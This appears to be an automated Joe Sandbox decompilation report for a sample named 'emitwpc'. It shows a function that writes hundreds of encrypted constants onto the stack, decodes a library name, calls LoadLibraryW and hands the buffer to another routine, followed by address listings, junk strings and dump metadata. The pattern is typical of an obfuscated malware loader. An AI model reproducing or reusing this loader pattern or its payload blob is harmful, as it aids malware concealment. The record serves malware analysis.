				 *((intOrPtr*)(_t459 - 0x488)) = 0x7ee72bcb;
				 *((intOrPtr*)(_t459 - 0x484)) = 0x1a011c91;
				 *((intOrPtr*)(_t459 - 0x480)) = 0x8e14892c;
				 *((intOrPtr*)(_t459 - 0x47c)) = 0xdf88afa8;
				 *((intOrPtr*)(_t459 - 0x478)) = 0x347d5648;
				 *((intOrPtr*)(_t459 - 0x474)) = 0xd4f3a094;
				 *((intOrPtr*)(_t459 - 0x470)) = 0x33b2dba4;
				 *((intOrPtr*)(_t459 - 0x46c)) = 0xd0d094d7;
				 *((intOrPtr*)(_t459 - 0x468)) = 0xb04b5f6;
				 *((intOrPtr*)(_t459 - 0x464)) = 0x4c974243;
				 *((intOrPtr*)(_t459 - 0x460)) = 0xd6ea779b;
				 *((intOrPtr*)(_t459 - 0x45c)) = 0x665a842;
				 *((intOrPtr*)(_t459 - 0x458)) = 0xb90c785f;
				 *((intOrPtr*)(_t459 - 0x454)) = 0x2fef1bac;
				 *((intOrPtr*)(_t459 - 0x450)) = 0x59d49e4a;
				 *((intOrPtr*)(_t459 - 0x44c)) = 0xc55aee70;
				 *((intOrPtr*)(_t459 - 0x448)) = 0xa7eb4932;
				 *((intOrPtr*)(_t459 - 0x444)) = 0xaf15bf99;
				 *((intOrPtr*)(_t459 - 0x440)) = 0x50440f6c;
				 *((intOrPtr*)(_t459 - 0x43c)) = 0x397930a3;
				 *((intOrPtr*)(_t459 - 0x438)) = 0x75dc675e;
				 *((intOrPtr*)(_t459 - 0x434)) = 0xd98c40c9;
				 *((intOrPtr*)(_t459 - 0x430)) = 0x32bcb4bb;
				 *((intOrPtr*)(_t459 - 0x42c)) = 0x3ae77bfc;
				 *((intOrPtr*)(_t459 - 0x428)) = 0xa023b195;
				 *((intOrPtr*)(_t459 - 0x424)) = 0x5f344b1c;
				 *((intOrPtr*)(_t459 - 0x420)) = 0xdfab5a6e;
				 *((intOrPtr*)(_t459 - 0x41c)) = 0x2d9d32b;
				 *((intOrPtr*)(_t459 - 0x418)) = 0xb4cbc1;
				 *((intOrPtr*)(_t459 - 0x414)) = 0xeba52220;
				 *((intOrPtr*)(_t459 - 0x410)) = 0xaba46533;
				 *((intOrPtr*)(_t459 - 0x40c)) = 0x733b9757;
				 *((intOrPtr*)(_t459 - 0x408)) = 0x386470b0;
				 *((intOrPtr*)(_t459 - 0x404)) = 0x51a0ca39;
				 *((intOrPtr*)(_t459 - 0x400)) = 0x61a9e026;
				 *((intOrPtr*)(_t459 - 0x3fc)) = 0x4b55f9a6;
				 *((intOrPtr*)(_t459 - 0x3f8)) = 0xafdcfc4c;
				 *((intOrPtr*)(_t459 - 0x3f4)) = 0x4a2034a0;
				 *((intOrPtr*)(_t459 - 0x3f0)) = 0xa6bac99;
				 *((intOrPtr*)(_t459 - 0x3ec)) = 0x1862de4b;
				 *((intOrPtr*)(_t459 - 0x3e8)) = 0x443f49a6;
				 *((intOrPtr*)(_t459 - 0x3e4)) = 0x9d3eab52;
				 *((intOrPtr*)(_t459 - 0x3e0)) = 0x3e91296b;
				 *((intOrPtr*)(_t459 - 0x3dc)) = 0x93a5531d;
				 *((intOrPtr*)(_t459 - 0x3d8)) = 0xda32c3;
				 *((intOrPtr*)(_t459 - 0x3d4)) = 0xdaad4fb0;
				 *((intOrPtr*)(_t459 - 0x3d0)) = 0x108d1f41;
				 *((intOrPtr*)(_t459 - 0x3cc)) = 0x742a0a91;
				 *((intOrPtr*)(_t459 - 0x3c8)) = 0xa89a3a5b;
				 *((intOrPtr*)(_t459 - 0x3c4)) = 0x967890e7;
				 *((intOrPtr*)(_t459 - 0x3c0)) = 0x8763ab4e;
				 *((intOrPtr*)(_t459 - 0x3bc)) = 0x5e95588;
				 *((intOrPtr*)(_t459 - 0x3b8)) = 0x939b28c7;
				 *((intOrPtr*)(_t459 - 0x3b4)) = 0xd131551c;
				 *((intOrPtr*)(_t459 - 0x3b0)) = 0x4a0ad4b2;
				 *((intOrPtr*)(_t459 - 0x3ac)) = 0x9b6a7b4f;
				 *((intOrPtr*)(_t459 - 0x3a8)) = 0x43f6deee;
				 *((intOrPtr*)(_t459 - 0x3a4)) = 0xa03a78f8;
				 *((intOrPtr*)(_t459 - 0x3a0)) = 0x509078a9;
				 *((intOrPtr*)(_t459 - 0x39c)) = 0x54cca0c6;
				 *((intOrPtr*)(_t459 - 0x398)) = 0x656713;
				 *((intOrPtr*)(_t459 - 0x394)) = 0x5211840e;
				 *((intOrPtr*)(_t459 - 0x390)) = 0x382f332b;
				 *((intOrPtr*)(_t459 - 0x38c)) = 0xaefc67d5;
				 *((intOrPtr*)(_t459 - 0x388)) = 0xa5eed0d7;
				 *((intOrPtr*)(_t459 - 0x384)) = 0xb5de2b00;
				 *((intOrPtr*)(_t459 - 0x380)) = 0xc5ec0a05;
				 *((intOrPtr*)(_t459 - 0x37c)) = 0x94ef807f;
				 *((intOrPtr*)(_t459 - 0x378)) = 0xd1cdc53c;
				 *((intOrPtr*)(_t459 - 0x374)) = 0x3a58f54a;
				 *((intOrPtr*)(_t459 - 0x370)) = 0xbd2e1c30;
				 *((intOrPtr*)(_t459 - 0x36c)) = 0x859a7472;
				 *((intOrPtr*)(_t459 - 0x368)) = 0x674c612d;
				 *((intOrPtr*)(_t459 - 0x364)) = 0x120289aa;
				 *((intOrPtr*)(_t459 - 0x360)) = 0xceafb5c8;
				 *((intOrPtr*)(_t459 - 0x35c)) = 0x5dcb6129;
				 *((intOrPtr*)(_t459 - 0x358)) = 0x6bbd990d;
				 *((intOrPtr*)(_t459 - 0x354)) = 0x26cdff01;
				 *((intOrPtr*)(_t459 - 0x350)) = 0x3c592aea;
				 *((intOrPtr*)(_t459 - 0x34c)) = 0xe6067d3c;
				 *((intOrPtr*)(_t459 - 0x348)) = 0xde8cffd2;
				 *((intOrPtr*)(_t459 - 0x344)) = 0x4a6f6245;
				 *((intOrPtr*)(_t459 - 0x340)) = 0xb3b05007;
				 *((intOrPtr*)(_t459 - 0x33c)) = 0x79dcb20;
				 *((intOrPtr*)(_t459 - 0x338)) = 0xcb195be6;
				 *((intOrPtr*)(_t459 - 0x334)) = 0xa707ccf8;
				 *((intOrPtr*)(_t459 - 0x330)) = 0x2facb713;
				 *((intOrPtr*)(_t459 - 0x32c)) = 0x34a356b9;
				 *((intOrPtr*)(_t459 - 0x328)) = 0x44f720ed;
				 *((intOrPtr*)(_t459 - 0x324)) = 0x5ccbda71;
				 *((intOrPtr*)(_t459 - 0x320)) = 0x7ed7ac53;
				 *((intOrPtr*)(_t459 - 0x31c)) = 0xb5be6105;
				 *((intOrPtr*)(_t459 - 0x318)) = 0x9845207;
				 *((intOrPtr*)(_t459 - 0x314)) = 0x3e199247;
				 *((intOrPtr*)(_t459 - 0x310)) = 0xcd159d32;
				 *((intOrPtr*)(_t459 - 0x30c)) = 0x4e6a7e4b;
				 *((intOrPtr*)(_t459 - 0x308)) = 0xdd78840b;
				 *((intOrPtr*)(_t459 - 0x304)) = 0x1eeccb87;
				 *((intOrPtr*)(_t459 - 0x300)) = 0x49d11f71;
				 *((intOrPtr*)(_t459 - 0x2fc)) = 0x86503fa9;
				 *((intOrPtr*)(_t459 - 0x2f8)) = 0x3c3035b6;
				 *((intOrPtr*)(_t459 - 0x2f4)) = 0x150cf378;
				 *((intOrPtr*)(_t459 - 0x2f0)) = 0x2d81ef6c;
				 *((intOrPtr*)(_t459 - 0x2ec)) = 0x226ef342;
				 *((intOrPtr*)(_t459 - 0x2e8)) = 0x7b33d083;
				 *((intOrPtr*)(_t459 - 0x2e4)) = 0xbddd219;
				 *((intOrPtr*)(_t459 - 0x2e0)) = 0xcca97f8b;
				 *((intOrPtr*)(_t459 - 0x2dc)) = 0x7b4c58d8;
				 *((intOrPtr*)(_t459 - 0x2d8)) = 0x23080198;
				 *((intOrPtr*)(_t459 - 0x2d4)) = 0xedee0c3a;
				 *((intOrPtr*)(_t459 - 0x2d0)) = 0x56c8c1e9;
				 *((intOrPtr*)(_t459 - 0x2cc)) = 0xba22c650;
				 *((intOrPtr*)(_t459 - 0x2c8)) = 0x561c3093;
				 *((intOrPtr*)(_t459 - 0x2c4)) = 0xc69ffdfb;
				 *((intOrPtr*)(_t459 - 0x2c0)) = 0xc4a68727;
				 *((intOrPtr*)(_t459 - 0x2bc)) = 0xf994fc95;
				 *((intOrPtr*)(_t459 - 0x2b8)) = 0xdae189dc;
				 *((intOrPtr*)(_t459 - 0x2b4)) = 0xe2f88e3b;
				 *((intOrPtr*)(_t459 - 0x2b0)) = 0xb068767f;
				 *((intOrPtr*)(_t459 - 0x2ac)) = 0x81f7cf1;
				 *((intOrPtr*)(_t459 - 0x2a8)) = 0xd41cb313;
				 *((intOrPtr*)(_t459 - 0x2a4)) = 0x43582f47;
				 *((intOrPtr*)(_t459 - 0x2a0)) = 0xd600406;
				 *((intOrPtr*)(_t459 - 0x29c)) = 0x3e60b941;
				 *((intOrPtr*)(_t459 - 0x298)) = 0xdfa4463c;
				 *((intOrPtr*)(_t459 - 0x294)) = 0xb6e2a7d6;
				 *((intOrPtr*)(_t459 - 0x290)) = 0xa05f5f07;
				 *((intOrPtr*)(_t459 - 0x28c)) = 0xfc88eea5;
				 *((intOrPtr*)(_t459 - 0x288)) = 0xf4a6fd20;
				 *((intOrPtr*)(_t459 - 0x284)) = 0xbe00a37f;
				 *((intOrPtr*)(_t459 - 0x280)) = 0xc9fbaed0;
				 *((intOrPtr*)(_t459 - 0x27c)) = 0x35e9198a;
				 *((intOrPtr*)(_t459 - 0x278)) = 0xdd8864c7;
				 *((intOrPtr*)(_t459 - 0x274)) = 0xb8888645;
				 *((intOrPtr*)(_t459 - 0x270)) = 0x2690436f;
				 *((intOrPtr*)(_t459 - 0x26c)) = 0x5db88cab;
				 *((intOrPtr*)(_t459 - 0x268)) = 0xa3293499;
				 *((intOrPtr*)(_t459 - 0x264)) = 0x9c23469f;
				 *((intOrPtr*)(_t459 - 0x260)) = 0x25e6bcaa;
				 *((intOrPtr*)(_t459 - 0x25c)) = 0x55c96e0b;
				 *((intOrPtr*)(_t459 - 0x258)) = 0xd4eb9388;
				 *((intOrPtr*)(_t459 - 0x254)) = 0x25969ab0;
				 *((intOrPtr*)(_t459 - 0x250)) = 0x3e8a84d;
				 *((intOrPtr*)(_t459 - 0x24c)) = 0x5c021f0b;
				 *((intOrPtr*)(_t459 - 0x248)) = 0xf8377e6b;
				 *((intOrPtr*)(_t459 - 0x244)) = 0x5153dc57;
				 *((intOrPtr*)(_t459 - 0x240)) = 0x8cd535ab;
				 *((intOrPtr*)(_t459 - 0x23c)) = 0xaec48535;
				 *((intOrPtr*)(_t459 - 0x238)) = 0x9cc9ceb9;
				 *((intOrPtr*)(_t459 - 0x234)) = 0x60af91c8;
				 *((intOrPtr*)(_t459 - 0x230)) = 0x5036fd4a;
				 *((intOrPtr*)(_t459 - 0x22c)) = 0xaa068898;
				 *((intOrPtr*)(_t459 - 0x228)) = 0xef618e9f;
				 *((intOrPtr*)(_t459 - 0x224)) = 0xfb0db0fc;
				 *((intOrPtr*)(_t459 - 0x220)) = 0xc75df692;
				 *((intOrPtr*)(_t459 - 0x21c)) = 0x643bba31;
				 *((intOrPtr*)(_t459 - 0x218)) = 0xcc16cebb;
				 *((intOrPtr*)(_t459 - 0x214)) = 0x2cb02f95;
				 *((intOrPtr*)(_t459 - 0x210)) = 0x8fb03f1c;
				 *((intOrPtr*)(_t459 - 0x20c)) = 0x7ba65da5;
				 *((intOrPtr*)(_t459 - 0x208)) = 0x4e9a1518;
				 *((intOrPtr*)(_t459 - 0x204)) = 0xb0eacead;
				 *((intOrPtr*)(_t459 - 0x200)) = 0x1ba5bc11;
				 *((intOrPtr*)(_t459 - 0x1fc)) = 0x5d065e54;
				 *((intOrPtr*)(_t459 - 0x1f8)) = 0x25fe4d66;
				 *((intOrPtr*)(_t459 - 0x1f4)) = 0xf4d6cee6;
				 *((intOrPtr*)(_t459 - 0x1f0)) = 0xa911d07b;
				 *((intOrPtr*)(_t459 - 0x1ec)) = 0x5afad65f;
				 *((intOrPtr*)(_t459 - 0x1e8)) = 0xbe3e4460;
				 *((intOrPtr*)(_t459 - 0x1e4)) = 0x118c2732;
				 *((intOrPtr*)(_t459 - 0x1e0)) = 0x829a26ed;
				 *((intOrPtr*)(_t459 - 0x1dc)) = 0x86ce9ce7;
				 *((intOrPtr*)(_t459 - 0x1d8)) = 0x211f7f09;
				 *((intOrPtr*)(_t459 - 0x1d4)) = 0xf9de4b2d;
				 *((intOrPtr*)(_t459 - 0x1d0)) = 0xd140063b;
				 *((intOrPtr*)(_t459 - 0x1cc)) = 0x3bdaa78a;
				 *((intOrPtr*)(_t459 - 0x1c8)) = 0xb5457f90;
				 *((intOrPtr*)(_t459 - 0x1c4)) = 0x3ce80fc7;
				 *((intOrPtr*)(_t459 - 0x1c0)) = 0xe8e6002b;
				 *((intOrPtr*)(_t459 - 0x1bc)) = 0x76542625;
				 *((intOrPtr*)(_t459 - 0x1b8)) = 0x86467745;
				 *((intOrPtr*)(_t459 - 0x1b4)) = 0x84c9e2bc;
				 *((intOrPtr*)(_t459 - 0x1b0)) = 0x7d02d01b;
				 *((intOrPtr*)(_t459 - 0x1ac)) = 0xe4013ce6;
				 *((intOrPtr*)(_t459 - 0x1a8)) = 0xcc7155c6;
				 *((intOrPtr*)(_t459 - 0x1a4)) = 0xc6682b62;
				 *((intOrPtr*)(_t459 - 0x1a0)) = 0xbe254a9;
				 *((intOrPtr*)(_t459 - 0x19c)) = 0x9bf8e2e9;
				 *((intOrPtr*)(_t459 - 0x198)) = 0xef1fe9af;
				 *((intOrPtr*)(_t459 - 0x194)) = 0xd5951ede;
				 *((intOrPtr*)(_t459 - 0x190)) = 0x5a89d7ca;
				 *((intOrPtr*)(_t459 - 0x18c)) = 0xca295347;
				 *((intOrPtr*)(_t459 - 0x188)) = 0x2a36f333;
				 *((intOrPtr*)(_t459 - 0x184)) = 0x15a0d91a;
				 *((intOrPtr*)(_t459 - 0x180)) = 0xf8e10016;
				 *((intOrPtr*)(_t459 - 0x17c)) = 0x432d4554;
				 *((intOrPtr*)(_t459 - 0x178)) = 0x46276497;
				 *((intOrPtr*)(_t459 - 0x174)) = 0x384f82e3;
				 *((intOrPtr*)(_t459 - 0x170)) = 0xf78e368c;
				 *((intOrPtr*)(_t459 - 0x16c)) = 0x5e1cb45;
				 *((intOrPtr*)(_t459 - 0x168)) = 0xfcee7480;
				 *((intOrPtr*)(_t459 - 0x164)) = 0x652d892a;
				 *((intOrPtr*)(_t459 - 0x160)) = 0x311cc00e;
				 *((intOrPtr*)(_t459 - 0x15c)) = 0x84970e8;
				 *((intOrPtr*)(_t459 - 0x158)) = 0x6d0e683c;
				 *((intOrPtr*)(_t459 - 0x154)) = 0x660f5069;
				 *((intOrPtr*)(_t459 - 0x150)) = 0x7780fb0a;
				 *((intOrPtr*)(_t459 - 0x14c)) = 0x55078e6f;
				 *((intOrPtr*)(_t459 - 0x148)) = 0xd56f60a4;
				 *((intOrPtr*)(_t459 - 0x144)) = 0xa5606620;
				 *((intOrPtr*)(_t459 - 0x140)) = 0xbc32b2f9;
				 *((intOrPtr*)(_t459 - 0x13c)) = 0x1ec4a89a;
				 *((intOrPtr*)(_t459 - 0x138)) = 0x77965ad1;
				 *((intOrPtr*)(_t459 - 0x134)) = 0xc67cbc33;
				 *((intOrPtr*)(_t459 - 0x130)) = 0x79d24d7a;
				 *((intOrPtr*)(_t459 - 0x12c)) = 0xc54c9af8;
				 *((intOrPtr*)(_t459 - 0x128)) = 0x1da74d14;
				 *((intOrPtr*)(_t459 - 0x124)) = 0x26422218;
				 *((intOrPtr*)(_t459 - 0x120)) = 0x633d8225;
				 *((intOrPtr*)(_t459 - 0x11c)) = 0x82af4c46;
				 *((intOrPtr*)(_t459 - 0x118)) = 0xadb1e9c8;
				 *((intOrPtr*)(_t459 - 0x114)) = 0xdeeda903;
				 *((intOrPtr*)(_t459 - 0x110)) = 0xe3bd0010;
				 *((intOrPtr*)(_t459 - 0x10c)) = 0xdae9191c;
				 *((intOrPtr*)(_t459 - 0x108)) = 0x9e7ec74e;
				 *((intOrPtr*)(_t459 - 0x104)) = 0x1534160a;
				 *((intOrPtr*)(_t459 - 0x100)) = 0xc3e23686;
				 *((intOrPtr*)(_t459 - 0xfc)) = 0x7365be1a;
				 *((intOrPtr*)(_t459 - 0xf8)) = 0x91616671;
				 *((intOrPtr*)(_t459 - 0xf4)) = 0xc5177a2e;
				 *((intOrPtr*)(_t459 - 0xf0)) = 0x405baa7e;
				 *((intOrPtr*)(_t459 - 0xec)) = 0x220f18ba;
				 *((intOrPtr*)(_t459 - 0xe8)) = 0xe4c660cd;
				 *((intOrPtr*)(_t459 - 0xe4)) = 0x5ab2eaef;
				 *((intOrPtr*)(_t459 - 0xe0)) = 0x2c97de7e;
				 *((intOrPtr*)(_t459 - 0xdc)) = 0x695282f0;
				 *((intOrPtr*)(_t459 - 0xd8)) = 0xbd013dd7;
				 *((intOrPtr*)(_t459 - 0xd4)) = 0x9bc4cccb;
				 *((intOrPtr*)(_t459 - 0xd0)) = 0x2c29e956;
				 *((intOrPtr*)(_t459 - 0xcc)) = 0x3ff2a25e;
				 *((intOrPtr*)(_t459 - 0xc8)) = 0xe03a5fd7;
				 *((intOrPtr*)(_t459 - 0xc4)) = 0x10516d8e;
				 *((intOrPtr*)(_t459 - 0xc0)) = 0x97faa8dc;
				 *((intOrPtr*)(_t459 - 0xbc)) = 0x76be59d2;
				 *((intOrPtr*)(_t459 - 0xb8)) = 0x8d4ecd3d;
				 *((intOrPtr*)(_t459 - 0xb4)) = 0xda05f263;
				 *((intOrPtr*)(_t459 - 0xb0)) = 0x1e7933a9;
				 *((intOrPtr*)(_t459 - 0xac)) = 0x3e328cb7;
				 *((intOrPtr*)(_t459 - 0xa8)) = 0xb796ddf2;
				 *((intOrPtr*)(_t459 - 0xa4)) = 0x289df743;
				 *((intOrPtr*)(_t459 - 0xa0)) = 0x6fad746e;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t459 - 0x9c)) = 0x70b20eba;
				 *((intOrPtr*)(_t459 - 0x98)) = 0xa66d7577;
				 *((intOrPtr*)(_t459 - 0x94)) = 0x753b6419;
				 *((intOrPtr*)(_t459 - 0x90)) = 0xb191e5fb;
				 *((intOrPtr*)(_t459 - 0x8c)) = 0x243794f1;
				 *((intOrPtr*)(_t459 - 0x88)) = 0x43fd0ef;
				 *((intOrPtr*)(_t459 - 0x84)) = 0xc4319a76;
				 *((intOrPtr*)(_t459 - 0x80)) = 0x36e9780e;
				 *((intOrPtr*)(_t459 - 0x7c)) = 0x82d4147d;
				 *((intOrPtr*)(_t459 - 0x78)) = 0xfea3aac6;
				 *((intOrPtr*)(_t459 - 0x74)) = 0xb3b10983;
				 *((intOrPtr*)(_t459 - 0x70)) = 0x35b1c364;
				 *((intOrPtr*)(_t459 - 0x6c)) = 0x47e0241c;
				 *((intOrPtr*)(_t459 - 0x68)) = 0xbd78707a;
				 *((intOrPtr*)(_t459 - 0x64)) = 0x11db37a1;
				 *((intOrPtr*)(_t459 - 0x60)) = 0x4461117a;
				 *((intOrPtr*)(_t459 - 0x5c)) = 0xf9c0a3f5;
				 *((intOrPtr*)(_t459 - 0x58)) = 0xe872faba;
				 *((intOrPtr*)(_t459 - 0x54)) = 0x64565f91;
				 *((intOrPtr*)(_t459 - 0x50)) = 0x618168c9;
				 *((intOrPtr*)(_t459 - 0x4c)) = 0xe712f78;
				 *((intOrPtr*)(_t459 - 0x48)) = 0x9674eb60;
				 *((intOrPtr*)(_t459 - 0x44)) = 0xdd4bf85d;
				 *((intOrPtr*)(_t459 - 0x40)) = 0x2ecf96f5;
				 *((intOrPtr*)(_t459 - 0x3c)) = 0x159080f0;
				 *((intOrPtr*)(_t459 - 0x38)) = 0x3c394030;
				 *((intOrPtr*)(_t459 - 0x34)) = 0xdbc6535c;
				 *((intOrPtr*)(_t459 - 0x30)) = 0x4316b4b0;
				 *((intOrPtr*)(_t459 - 0x2c)) = 0x4473ddfa;
				 *((intOrPtr*)(_t459 - 0x28)) = 0x3e75bff1;
				 *((intOrPtr*)(_t459 - 0x24)) = 0xf69d509a;
				 *((intOrPtr*)(_t459 - 0x20)) = 0x88a55e29;
				 *((intOrPtr*)(_t459 - 0x1c)) = 0x4b723696;
				 *((intOrPtr*)(_t459 - 0x18)) = 0xaa1e64e6;
				 *((intOrPtr*)(_t459 - 0x14)) = 0xbe8c107d;
				 *((intOrPtr*)(_t459 - 0x10)) = 0x47efc3ac;
				 *((intOrPtr*)(_t459 - 0xc)) = 0x2afe3fcf;
				 *((intOrPtr*)(_t459 - 8)) = 0x3af3c941;
				 *((intOrPtr*)(_t459 - 4)) = 0xcae7ee49;
				_t457 = L002A1D10(0x2b0650, 0x9c, __edi, __esi);
				_t446 = LoadLibraryW(_t445); // executed
				 *0x2b4c8c = _t446;
				L002A1DB0(_t457);
				_t452 =  *0x2b4c8c; // 0x76ec0000
				return E002A1570(_t449, _t452, _t459 - 0x6ec, _t457, 0x1bb, 0x5a53741d, 0x2b33b0);
			}

0x002a7eda
0x002a7eda
0x002a7ee4
0x002a7eee
0x002a7ef8
0x002a7f02
0x002a7f0c
0x002a7f16
0x002a7f20
0x002a7f2a
0x002a7f34
0x002a7f3e
0x002a7f48
0x002a7f52
0x002a7f5c
0x002a7f66
0x002a7f70
0x002a7f7a
0x002a7f84
0x002a7f8e
0x002a7f98
0x002a7fa2
0x002a7fac
0x002a7fb6
0x002a7fc0
0x002a7fca
0x002a7fd4
0x002a7fde
0x002a7fe8
0x002a7ff2
0x002a7ffc
0x002a8006
0x002a8010
0x002a801a
0x002a8024
0x002a802e
0x002a8038
0x002a8042
0x002a804c
0x002a8056
0x002a8060
0x002a806a
0x002a8074
0x002a807e
0x002a8088
0x002a8092
0x002a809c
0x002a80a6
0x002a80b0
0x002a80ba
0x002a80c4
0x002a80ce
0x002a80d8
0x002a80e2
0x002a80ec
0x002a80f6
0x002a8100
0x002a810a
0x002a8114
0x002a811e
0x002a8128
0x002a8132
0x002a813c
0x002a8146
0x002a8150
0x002a815a
0x002a8164
0x002a816e
0x002a8178
0x002a8182
0x002a818c
0x002a8196
0x002a81a0
0x002a81aa
0x002a81b4
0x002a81be
0x002a81c8
0x002a81d2
0x002a81dc
0x002a81e6
0x002a81f0
0x002a81fa
0x002a8204
0x002a820e
0x002a8218
0x002a8222
0x002a822c
0x002a8236
0x002a8240
0x002a824a
0x002a8254
0x002a825e
0x002a8268
0x002a8272
0x002a827c
0x002a8286
0x002a8290
0x002a829a
0x002a82a4
0x002a82ae
0x002a82b8
0x002a82c2
0x002a82cc
0x002a82d6
0x002a82e0
0x002a82ea
0x002a82f4
0x002a82fe
0x002a8308
0x002a8312
0x002a831c
0x002a8326
0x002a8330
0x002a833a
0x002a8344
0x002a834e
0x002a8358
0x002a8362
0x002a836c
0x002a8376
0x002a8380
0x002a838a
0x002a8394
0x002a839e
0x002a83a8
0x002a83b2
0x002a83bc
0x002a83c6
0x002a83d0
0x002a83da
0x002a83e4
0x002a83ee
0x002a83f8
0x002a8402
0x002a840c
0x002a8416
0x002a8420
0x002a842a
0x002a8434
0x002a843e
0x002a8448
0x002a8452
0x002a845c
0x002a8466
0x002a8470
0x002a847a
0x002a8484
0x002a848e
0x002a8498
0x002a84a2
0x002a84ac
0x002a84b6
0x002a84c0
0x002a84ca
0x002a84d4
0x002a84de
0x002a84e8
0x002a84f2
0x002a84fc
0x002a8506
0x002a8510
0x002a851a
0x002a8524
0x002a852e
0x002a8538
0x002a8542
0x002a854c
0x002a8556
0x002a8560
0x002a856a
0x002a8574
0x002a857e
0x002a8588
0x002a8592
0x002a859c
0x002a85a6
0x002a85b0
0x002a85ba
0x002a85c4
0x002a85ce
0x002a85d8
0x002a85e2
0x002a85ec
0x002a85f6
0x002a8600
0x002a860a
0x002a8614
0x002a861e
0x002a8628
0x002a8632
0x002a863c
0x002a8646
0x002a8650
0x002a865a
0x002a8664
0x002a866e
0x002a8678
0x002a8682
0x002a868c
0x002a8696
0x002a86a0
0x002a86aa
0x002a86b4
0x002a86be
0x002a86c8
0x002a86d2
0x002a86dc
0x002a86e6
0x002a86f0
0x002a86fa
0x002a8704
0x002a870e
0x002a8718
0x002a8722
0x002a872c
0x002a8736
0x002a8740
0x002a874a
0x002a8754
0x002a875e
0x002a8768
0x002a8772
0x002a877c
0x002a8786
0x002a8790
0x002a879a
0x002a87a4
0x002a87ae
0x002a87b8
0x002a87c2
0x002a87cc
0x002a87d6
0x002a87e0
0x002a87ea
0x002a87f4
0x002a87fe
0x002a8808
0x002a8812
0x002a881c
0x002a8826
0x002a8830
0x002a883a
0x002a8844
0x002a884e
0x002a8858
0x002a8862
0x002a886c
0x002a8876
0x002a8880
0x002a888a
0x002a8894
0x002a889e
0x002a88a8
0x002a88b2
0x002a88bc
0x002a88c6
0x002a88d0
0x002a88da
0x002a88e4
0x002a88ee
0x002a88f8
0x002a8902
0x002a890c
0x002a8916
0x002a8920
0x002a892a
0x002a8934
0x002a893e
0x002a8948
0x002a8952
0x002a895c
0x002a8966
0x002a8970
0x002a897a
0x002a8984
0x002a898e
0x002a8998
0x002a89a2
0x002a89ac
0x002a89b6
0x002a89c0
0x002a89ca
0x002a89d4
0x002a89de
0x002a89e8
0x002a89f2
0x002a89fc
0x002a8a06
0x002a8a10
0x002a8a1a
0x002a8a24
0x002a8a2e
0x002a8a38
0x002a8a42
0x002a8a4c
0x002a8a56
0x002a8a60
0x002a8a6a
0x002a8a74
0x002a8a7e
0x002a8a88
0x002a8a92
0x002a8a9c
0x002a8aa6
0x002a8ab0
0x002a8aba
0x002a8ac4
0x002a8ace
0x002a8ad8
0x002a8ae2
0x002a8aec
0x002a8af6
0x002a8b00
0x002a8b0a
0x002a8b14
0x002a8b1e
0x002a8b28
0x002a8b32
0x002a8b3c
0x002a8b46
0x002a8b50
0x002a8b5a
0x002a8b64
0x002a8b6e
0x002a8b78
0x002a8b82
0x002a8b8c
0x002a8b96
0x002a8ba0
0x002a8baa
0x002a8bb4
0x002a8bbe
0x002a8bc8
0x002a8bd2
0x002a8bdc
0x002a8be6
0x002a8bf0
0x002a8bfa
0x002a8c04
0x002a8c0e
0x002a8c18
0x002a8c22
0x002a8c2c
0x002a8c36
0x002a8c40
0x002a8c4a
0x002a8c54
0x002a8c5e
0x002a8c68
0x002a8c72
0x002a8c7c
0x002a8c86
0x002a8c90
0x002a8c9a
0x002a8ca4
0x002a8cae
0x002a8cb8
0x002a8cc2
0x002a8ccc
0x002a8cd6
0x002a8ce0
0x002a8cea
0x002a8cf4
0x002a8cfe
0x002a8d08
0x002a8d12
0x002a8d1c
0x002a8d26
0x002a8d30
0x002a8d3a
0x002a8d44
0x002a8d4e
0x002a8d58
0x002a8d62
0x002a8d6c
0x002a8d76
0x002a8d80
0x002a8d8a
0x002a8d94
0x002a8d9e
0x002a8da8
0x002a8db2
0x002a8dbc
0x002a8dc6
0x002a8dd0
0x002a8dda
0x002a8de4
0x002a8dee
0x002a8df8
0x002a8e02
0x002a8e0c
0x002a8e16
0x002a8e20
0x002a8e2a
0x002a8e34
0x002a8e3e
0x002a8e48
0x002a8e52
0x002a8e5c
0x002a8e66
0x002a8e70
0x002a8e7a
0x002a8e84
0x002a8e8e
0x002a8e98
0x002a8ea2
0x002a8eac
0x002a8ebb
0x002a8ec5
0x002a8ecf
0x002a8ed9
0x002a8ee3
0x002a8eed
0x002a8ef7
0x002a8efe
0x002a8f05
0x002a8f0c
0x002a8f13
0x002a8f1a
0x002a8f21
0x002a8f28
0x002a8f2f
0x002a8f36
0x002a8f3d
0x002a8f44
0x002a8f4b
0x002a8f52
0x002a8f59
0x002a8f60
0x002a8f67
0x002a8f6e
0x002a8f75
0x002a8f7c
0x002a8f83
0x002a8f8a
0x002a8f91
0x002a8f98
0x002a8f9f
0x002a8fa6
0x002a8fad
0x002a8fb4
0x002a8fbb
0x002a8fc2
0x002a8fc9
0x002a8fd0
0x002a8fdf
0x002a8fe2
0x002a8fea
0x002a8fef
0x002a8ff4
0x002a901b

APIs

LoadLibraryW.KERNEL32(00000000), ref: 002A8FE2

Strings

V),, xrefs: 002A8E20
$sV, xrefs: 002A813C
EboJ, xrefs: 002A87FE
,wo, xrefs: 002A82F4
22;:, xrefs: 002A82AE
qbAd, xrefs: 002A7F84
)Tu', xrefs: 002A802E
dqt, xrefs: 002A8128
*Y<, xrefs: 002A87E0
-aLg, xrefs: 002A87A4
0@9<, xrefs: 002A8F75
+, xrefs: 002A8BC8
dIFQ, xrefs: 002A8006
TE-C, xrefs: 002A8C72
K~jN, xrefs: 002A888A
g*]>, xrefs: 002A83A8
HV}4, xrefs: 002A84FC
%&Tv, xrefs: 002A8BD2
gcs, xrefs: 002A83DA
G/XC, xrefs: 002A898E
7DM, xrefs: 002A84A2
+3/8, xrefs: 002A8740
,5, xrefs: 002A8236
=S5, xrefs: 002A7F02

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: $sV$%&Tv$)Tu'$+$+3/8$,wo$-aLg$0@9<$22;:$7DM$=S5$EboJ$G/XC$HV}4$K~jN$TE-C$V),$dIFQ$dqt$g*]>$qbAd$*Y<$,5$gcs
API String ID: 1029625771-3472361963
